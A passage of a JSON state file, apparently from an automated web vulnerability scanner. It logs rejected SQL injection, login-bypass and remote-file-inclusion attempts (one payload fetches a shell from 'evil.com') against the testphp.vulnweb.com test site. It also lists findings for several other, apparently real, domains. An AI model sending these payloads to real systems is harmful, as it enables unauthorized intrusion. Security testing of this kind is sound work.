      "endpoint_pattern": "http://testphp.vulnweb.com/product.php",
      "attempted_payloads": [
        "http://evil.com/shell.txt"
      ],
      "failure_reason": "Rejected rfi in pic: no proof of execution; negative controls show same behavior (3/4 controls match) (score: 0/100)",
      "timestamp": 1771805843.089107
    },
    {
      "vuln_type": "sqli_union",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php",
      "attempted_payloads": [
        "' UNION SELECT NULL--"
      ],
      "failure_reason": "Rejected sqli_union in cat: negative controls show same behavior (1/4 controls match) (score: 30/100)",
      "timestamp": 1771805843.09634
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in pic: no proof of execution; negative controls show same behavior (2/4 controls match) (score: 0/100)",
      "timestamp": 1771805843.402582
    },
    {
      "vuln_type": "sqli_union",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php",
      "attempted_payloads": [
        "' UNION SELECT NULL--"
      ],
      "failure_reason": "Rejected sqli_union in artist: negative controls show same behavior (1/4 controls match) (score: 30/100)",
      "timestamp": 1771805844.676404
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=1",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in searchFor: no proof of execution (score: 20/100)",
      "timestamp": 1771805846.2387269
    },
    {
      "vuln_type": "sqli_union",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php",
      "attempted_payloads": [
        "' UNION SELECT NULL--"
      ],
      "failure_reason": "Rejected sqli_union in pic: negative controls show same behavior (1/4 controls match) (score: 30/100)",
      "timestamp": 1771805846.582627
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "' OR '1'='1"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771807039.887298
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin'--"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771807041.470058
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin' #"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771807043.0517702
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "' OR '1'='1"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771807044.633863
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin'--"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771807046.215348
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin' #"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771807047.789428
    },
    {
      "vuln_type": "rfi",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php",
      "attempted_payloads": [
        "http://evil.com/shell.txt"
      ],
      "failure_reason": "Rejected rfi in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771807222.354126
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771807226.270494
    },
    {
      "vuln_type": "rfi",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php",
      "attempted_payloads": [
        "http://evil.com/shell.txt"
      ],
      "failure_reason": "Rejected rfi in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771807226.7394428
    },
    {
      "vuln_type": "sqli_union",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php",
      "attempted_payloads": [
        "' UNION SELECT NULL--"
      ],
      "failure_reason": "Rejected sqli_union in cat: negative controls show same behavior (1/4 controls match) (score: 30/100)",
      "timestamp": 1771807227.814064
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771807228.05146
    },
    {
      "vuln_type": "sqli_union",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php",
      "attempted_payloads": [
        "' UNION SELECT NULL--"
      ],
      "failure_reason": "Rejected sqli_union in artist: negative controls show same behavior (1/4 controls match) (score: 30/100)",
      "timestamp": 1771807229.3852532
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in test: no proof of execution (score: 20/100)",
      "timestamp": 1771807229.639891
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in pic: no proof of execution; negative controls show same behavior (2/4 controls match) (score: 0/100)",
      "timestamp": 1771807232.974085
    },
    {
      "vuln_type": "rfi",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php",
      "attempted_payloads": [
        "http://evil.com/shell.txt"
      ],
      "failure_reason": "Rejected rfi in pic: no proof of execution; negative controls show same behavior (3/4 controls match) (score: 0/100)",
      "timestamp": 1771807234.8649979
    },
    {
      "vuln_type": "sqli_union",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php",
      "attempted_payloads": [
        "' UNION SELECT NULL--"
      ],
      "failure_reason": "Rejected sqli_union in pic: negative controls show same behavior (1/4 controls match) (score: 30/100)",
      "timestamp": 1771807237.138626
    }
  ],
  "strategies": {
    "server: nginx/1.19.0": {
      "technology": "Server: nginx/1.19.0",
      "vuln_types_found": [
        "sqli_union",
        "sqli_error",
        "xss_dom",
        "nosql_injection",
        "missing_xcto",
        "blind_xss",
        "sqli_blind",
        "directory_listing",
        "xss_reflected",
        "sensitive_data_exposure",
        "missing_csp",
        "csrf",
        "cleartext_transmission",
        "clickjacking"
      ],
      "priority_order": [
        "xss_reflected",
        "xss_reflected",
        "sqli_error",
        "sqli_blind",
        "xss_reflected",
        "sqli_union",
        "csrf",
        "csrf",
        "csrf",
        "csrf"
      ],
      "key_insights": [
        "sensitive_data_exposure found at http://testphp.vulnweb.com/ (confidence: 0)",
        "sqli_blind found at http://testphp.vulnweb.com/search.php?test=1&test= (confidence: 100)",
        "xss_reflected found at http://testphp.vulnweb.com/hpp/params.php?p=valid& (confidence: 100)",
        "clickjacking found at http://testphp.vulnweb.com/ (confidence: 0)",
        "sqli_error found at http://testphp.vulnweb.com/search.php?test=1&test= (confidence: 100)",
        "xss_reflected found at http://testphp.vulnweb.com/showimage.php?file=1&fi (confidence: 100)",
        "missing_xcto found at http://testphp.vulnweb.com/ (confidence: 0)",
        "missing_csp found at http://testphp.vulnweb.com/ (confidence: 0)",
        "sqli_error found at http://testphp.vulnweb.com/search.php?test=query&t (confidence: 100)",
        "sqli_blind found at http://testphp.vulnweb.com/search.php?test=query&t (confidence: 100)",
        "xss_reflected found at http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript (confidence: 100)"
      ],
      "scan_count": 8,
      "success_rate": 0.0,
      "timestamp": 1771807282.427767
    },
    "php/5.6.40-38+ubuntu20.04.1+deb.sury.org+1": {
      "technology": "PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1",
      "vuln_types_found": [
        "sqli_union",
        "sqli_error",
        "xss_dom",
        "nosql_injection",
        "missing_xcto",
        "blind_xss",
        "sqli_blind",
        "directory_listing",
        "xss_reflected",
        "sensitive_data_exposure",
        "missing_csp",
        "csrf",
        "cleartext_transmission",
        "clickjacking"
      ],
      "priority_order": [
        "xss_reflected",
        "xss_reflected",
        "sqli_error",
        "sqli_blind",
        "xss_reflected",
        "sqli_union",
        "csrf",
        "csrf",
        "csrf",
        "csrf"
      ],
      "key_insights": [
        "sensitive_data_exposure found at http://testphp.vulnweb.com/ (confidence: 0)",
        "sqli_blind found at http://testphp.vulnweb.com/search.php?test=1&test= (confidence: 100)",
        "xss_reflected found at http://testphp.vulnweb.com/hpp/params.php?p=valid& (confidence: 100)",
        "clickjacking found at http://testphp.vulnweb.com/ (confidence: 0)",
        "sqli_error found at http://testphp.vulnweb.com/search.php?test=1&test= (confidence: 100)",
        "xss_reflected found at http://testphp.vulnweb.com/showimage.php?file=1&fi (confidence: 100)",
        "missing_xcto found at http://testphp.vulnweb.com/ (confidence: 0)",
        "missing_csp found at http://testphp.vulnweb.com/ (confidence: 0)",
        "sqli_error found at http://testphp.vulnweb.com/search.php?test=query&t (confidence: 100)",
        "sqli_blind found at http://testphp.vulnweb.com/search.php?test=query&t (confidence: 100)",
        "xss_reflected found at http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript (confidence: 100)"
      ],
      "scan_count": 8,
      "success_rate": 0.0,
      "timestamp": 1771807282.4323251
    },
    "php": {
      "technology": "PHP",
      "vuln_types_found": [
        "sqli_union",
        "sqli_error",
        "xss_dom",
        "nosql_injection",
        "missing_xcto",
        "blind_xss",
        "sqli_blind",
        "directory_listing",
        "xss_reflected",
        "sensitive_data_exposure",
        "missing_csp",
        "csrf",
        "cleartext_transmission",
        "clickjacking"
      ],
      "priority_order": [
        "xss_reflected",
        "xss_reflected",
        "sqli_error",
        "sqli_blind",
        "xss_reflected",
        "sqli_union",
        "csrf",
        "csrf",
        "csrf",
        "csrf"
      ],
      "key_insights": [
        "sensitive_data_exposure found at http://testphp.vulnweb.com/ (confidence: 0)",
        "sqli_blind found at http://testphp.vulnweb.com/search.php?test=1&test= (confidence: 100)",
        "xss_reflected found at http://testphp.vulnweb.com/hpp/params.php?p=valid& (confidence: 100)",
        "clickjacking found at http://testphp.vulnweb.com/ (confidence: 0)",
        "sqli_error found at http://testphp.vulnweb.com/search.php?test=1&test= (confidence: 100)",
        "xss_reflected found at http://testphp.vulnweb.com/showimage.php?file=1&fi (confidence: 100)",
        "missing_xcto found at http://testphp.vulnweb.com/ (confidence: 0)",
        "missing_csp found at http://testphp.vulnweb.com/ (confidence: 0)",
        "sqli_error found at http://testphp.vulnweb.com/search.php?test=query&t (confidence: 100)",
        "sqli_blind found at http://testphp.vulnweb.com/search.php?test=query&t (confidence: 100)",
        "xss_reflected found at http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript (confidence: 100)"
      ],
      "scan_count": 8,
      "success_rate": 0.0,
      "timestamp": 1771807282.438432
    },
    "server: cloudflare": {
      "technology": "Server: cloudflare",
      "vuln_types_found": [
        "csrf",
        "ssti",
        "ssl_issues",
        "missing_csp",
        "missing_hsts",
        "missing_xcto"
      ],
      "priority_order": [
        "ssti",
        "csrf",
        "missing_hsts",
        "ssl_issues",
        "missing_csp",
        "missing_csp",
        "missing_hsts"
      ],
      "key_insights": [
        "ssl_issues found at https://hackersec.com (confidence: 0)",
        "missing_hsts found at https://unico.io/ (confidence: 0)",
        "missing_hsts found at https://unico.io (confidence: 0)",
        "csrf found at https://has.hackersec.com (confidence: 0)",
        "ssti found at https://hackersec.com/download?id=%3Csvg/onload%3D (confidence: 100)",
        "missing_hsts found at https://hackersec.com (confidence: 0)",
        "missing_xcto found at https://unico.io/ (confidence: 0)",
        "missing_csp found at https://unico.io (confidence: 0)",
        "missing_csp found at https://unico.io/ (confidence: 0)",
        "missing_csp found at https://hackersec.com (confidence: 0)",
        "missing_xcto found at https://unico.io (confidence: 0)"
      ],
      "scan_count": 3,
      "success_rate": 0.0,
      "timestamp": 1771341192.942349
    },
    "waf:cloudflare (100%)": {
      "technology": "WAF:cloudflare (100%)",
      "vuln_types_found": [
        "missing_csp",
        "missing_hsts",
        "missing_xcto"
      ],
      "priority_order": [
        "missing_hsts",
        "missing_xcto",
        "missing_csp"
      ],
      "key_insights": [
        "missing_hsts found at https://unico.io (confidence: 0)",
        "missing_hsts found at https://unico.io/ (confidence: 0)",
        "missing_csp found at https://unico.io/ (confidence: 0)",
        "missing_csp found at https://unico.io (confidence: 0)",
        "missing_xcto found at https://unico.io/ (confidence: 0)",
        "missing_xcto found at https://unico.io (confidence: 0)"
      ],
      "scan_count": 2,
      "success_rate": 0.0,
      "timestamp": 1771340713.252238
    },
    "angular": {
      "technology": "Angular",
      "vuln_types_found": [
        "ssti",
        "ssl_issues",
        "missing_hsts",
        "missing_csp",
        "csrf"
      ],
      "priority_order": [
        "csrf",
        "csrf",
        "missing_csp"
      ],
      "key_insights": [
        "missing_csp found at https://hackersec.com (confidence: 0)",
        "ssti found at https://hackersec.com/download?id=%3Csvg/onload%3D (confidence: 100)",
        "csrf found at https://sistema.soc.com.br/WebSoc/recuperacao-senh (confidence: 0)",
        "csrf found at https://sistema.soc.com.br/ (confidence: 0)",
        "missing_hsts found at https://hackersec.com (confidence: 0)",
        "csrf found at https://has.hackersec.com (confidence: 0)",
        "missing_csp found at https://sistema.soc.com.br/ (confidence: 0)",
        "ssl_issues found at https://hackersec.com (confidence: 0)"
      ],
      "scan_count": 3,
      "success_rate": 0.0,
      "timestamp": 1771384253.624866
    },
    "jquery": {
      "technology": "jQuery",
      "vuln_types_found": [
        "ssti",
        "ssl_issues",
        "missing_hsts",
        "missing_csp",
        "csrf"
      ],
      "priority_order": [
        "csrf",
        "csrf",
        "missing_csp"
      ],
      "key_insights": [
        "missing_csp found at https://hackersec.com (confidence: 0)",
        "ssti found at https://hackersec.com/download?id=%3Csvg/onload%3D (confidence: 100)",
        "csrf found at https://sistema.soc.com.br/WebSoc/recuperacao-senh (confidence: 0)",
        "csrf found at https://sistema.soc.com.br/ (confidence: 0)",
        "missing_hsts found at https://hackersec.com (confidence: 0)",
        "csrf found at https://has.hackersec.com (confidence: 0)",
        "missing_csp found at https://sistema.soc.com.br/ (confidence: 0)",
        "ssl_issues found at https://hackersec.com (confidence: 0)"
      ],
      "scan_count": 3,
      "success_rate": 0.0,
      "timestamp": 1771384253.631051
    },
    "server: cloudfront": {
      "technology": "Server: CloudFront",
      "vuln_types_found": [
        "missing_csp",
        "csrf"
      ],
      "priority_order": [
        "csrf",
        "csrf",
        "missing_csp"
      ],
      "key_insights": [
        "csrf found at https://sistema.soc.com.br/ (confidence: 0)",
        "csrf found at https://sistema.soc.com.br/WebSoc/recuperacao-senh (confidence: 0)",
        "missing_csp found at https://sistema.soc.com.br/ (confidence: 0)"
      ],
      "scan_count": 2,
      "success_rate": 0.0,
      "timestamp": 1771384253.616843
    }
  },
  "last_updated": 1771807282.442196,
  "stats": {
    "total_traces": 169,
    "total_failures": 186,
    "technologies": [
      "server: nginx/1.19.0",
      "php/5.6.40-38+ubuntu20.04.1+deb.sury.org+1",
      "php",
      "server: cloudflare",
      "waf:cloudflare (100%)",
      "angular",
      "jquery",
      "server: cloudfront"
    ]
  }
}